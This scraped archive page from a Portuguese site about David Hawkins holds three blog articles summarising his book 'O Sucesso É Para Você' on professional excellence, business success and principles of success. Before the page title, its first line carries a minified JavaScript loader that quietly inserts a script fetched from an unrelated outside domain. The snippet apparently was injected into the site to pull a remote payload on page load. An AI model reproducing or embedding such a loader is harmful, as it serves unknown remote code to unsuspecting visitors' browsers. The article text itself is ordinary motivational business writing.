;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de princípios do sucesso - David Hawkins Brasil
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3 Características da Excelência Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

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3 Elementos Fundamentais para um Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

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Os Princípios do Sucesso

Em um de nossos últimos artigos sobre o Sucesso falamos sobre aquele “algo” que existe nas pessoas de sucesso. Mas, quais são os princípios do sucesso? Como reconhecê-los?

Que tal agora olharmos para alguns exemplos disso? 

Princípios do Sucesso

Quem nunca esteve num restaurante? 

Esse é o tipo de negócio que acompanhamos com frequência e observamos que existem restaurantes de sucesso fenomenal mas, a taxa de fracasso para esse segmento está na casa de 50%.

Dos 50% que sobrevivem à essa estatística, uma boa parte sobrevive apenas, sem felicidade ou facilidade para tocar o negócio. E, apenas uma pequena parcela deles terá sucesso e despontarão.

Nesses casos, seja o dono do estabelecimento ou os chefs de cozinha atuam de forma criativa, buscando sempre aprender, têm prazer em servir e fazer do local onde trabalham um sucesso, fazendo pratos que surpreendam os clientes e gerando fidelidade.

O que a banda toca? 

Outro exemplo bem interessante que Dr.Hawkins cita em seu livro “O Sucesso é Para Você” é o das bandas musicais que se apresentam em bailes e festas. Algumas conseguem fazer o público participar e estar presente o tempo todo do show, outras no entanto, parecem tocar para si próprias, não se importando muito com o que o público gostaria de ouvir, dançar e cantar. 

O que acontece nesse caso é que a motivação para fazer aquilo que estão fazendo é a sua própria e não a amorosidade no servir, não estão focados em trazer alegria para o público. 

Alguns músicos, contudo, mesmo tendo suas próprias preferências, sabem “ouvir o público”, sentir qual é o apelo deles, qual é o ritmo que o público quer ouvir e acompanham isso. 

Princípios do Sucesso: Saiba observar para obter a resposta

Voltando aos restaurantes, quantas vezes você não voltou a locais apenas para apreciar um prato que te impressionou? E, já imaginou se você chega com essa expectativa e o prato não existe mais? Ou, se o restaurante deixou de servir o café que você tanto apreciava?

Uma das bases do sucesso é saber ouvir o cliente, ser observador, responsivo. Quando a intenção de um negócio está focada apenas no que o proprietário deseja para si e não observa o movimento do seu público, temos aí uma grande possibilidade de fracasso, seja qual for o seu negócio. 

O cliente foi desconsiderado em sua perspectiva e se sente desvalorizado e insatisfeito. Mesmo que esse restaurante seja o único em um determinado tipo de comida, receberá clientes por essa razão e não porque o cliente se sente ouvido e considerado. 

E, o proprietário que não é atento e responsivo às solicitações de seu cliente, mesmo que esteja ganhando financeiramente, deixa escapar a felicidade de estar servindo, e se mantém apenas na sobrevivência. 

Felicidade ou Satisfação? 

É muito importante diferenciar a felicidade da satisfação

 “Uma pessoa pode obter satisfação de enfiar e girar uma adaga no coração do outro – isso é satisfação. É improvável que isso resultará em uma vida feliz. Felicidade na vida é como mantemos o sucesso.” (Dr. Hawkins)

Uma ótima analogia é a que se refere a tirar 10 em uma prova colando, um exemplo de satisfação e sobrevivência. Podemos atingir um objetivo, passar em uma matéria, mas e sua autoestima como ficou? 

O sucesso é feito de:

  • autoestima saudável
  • autoconfiança
  • entusiasmo
  • alegria de saber que se tem a própria maestria.

A alegria seria genuína se o estudante tivesse estudado e tirado 10, não pelo esforço, mas por ter agregado algo à sua maestria.

Essa é manifestação do poder pessoal, do sucesso. Não é fruto de uma cópia, mas da minha própria capacidade de criar e ver os resultados.

Princípios do Sucesso: O dinheiro por si só não é prova de sucesso

O lucro que se obtenha com um determinado negócio não é indicativo de felicidade e sucesso.

Todos nós temos exemplos de pessoas que, apesar de ostentarem ótimas condições financeiras, vivenciam o medo, o orgulho, a paranoia, a arrogância entre outros sentimentos que os colocam distantes da felicidade e do sucesso genuíno. 

Quantas histórias de ganhadores de loteria, herdeiros ou celebridades que não conhecemos que perderam tudo? Isso ocorre porque apoiaram-se apenas no ter e não no ser. Perdem negócios, família, cometem abusos, vícios e até mesmo suicídio. 

O sucesso genuíno ressalta a pessoa e não suas posses

O que nos impressiona é aquilo que a pessoa de sucesso verdadeiro é e não o que ela tem. Somos atraídos pelo “algo a mais” que ela possui, é isso que faz nos conectarmos com ela. É aquilo que está presente em suas ações que nos encanta.

“Não é o dinheiro que viraliza e passa de mão, é saber como manifestar dinheiro que viraliza nos outros…ter dinheiro é uma manifestação de uma atitude interna. Pobreza está na sua cabeça, não na sua carteira.” (Dr.Hawkins) 

Se você apoia o sucesso sobre intenções internas verdadeiras, a vida floresce e tudo contribui para o sucesso. Pelo contrário, se as intenções estão baseadas apenas na conquista de posição, dinheiro ou status social, o sucesso não se mantém e leva todas suas ações à destruição da vida. 

Sucesso não está fora, está dentro!

Esse é um aprendizado que está presente durante toda a leitura do livro “O Sucesso é Para Você” do Dr.David Hawkins. Uma leitura que nos esclarece completamente o quanto temos uma noção equivocada de como o sucesso pode acontecer para cada um de nós.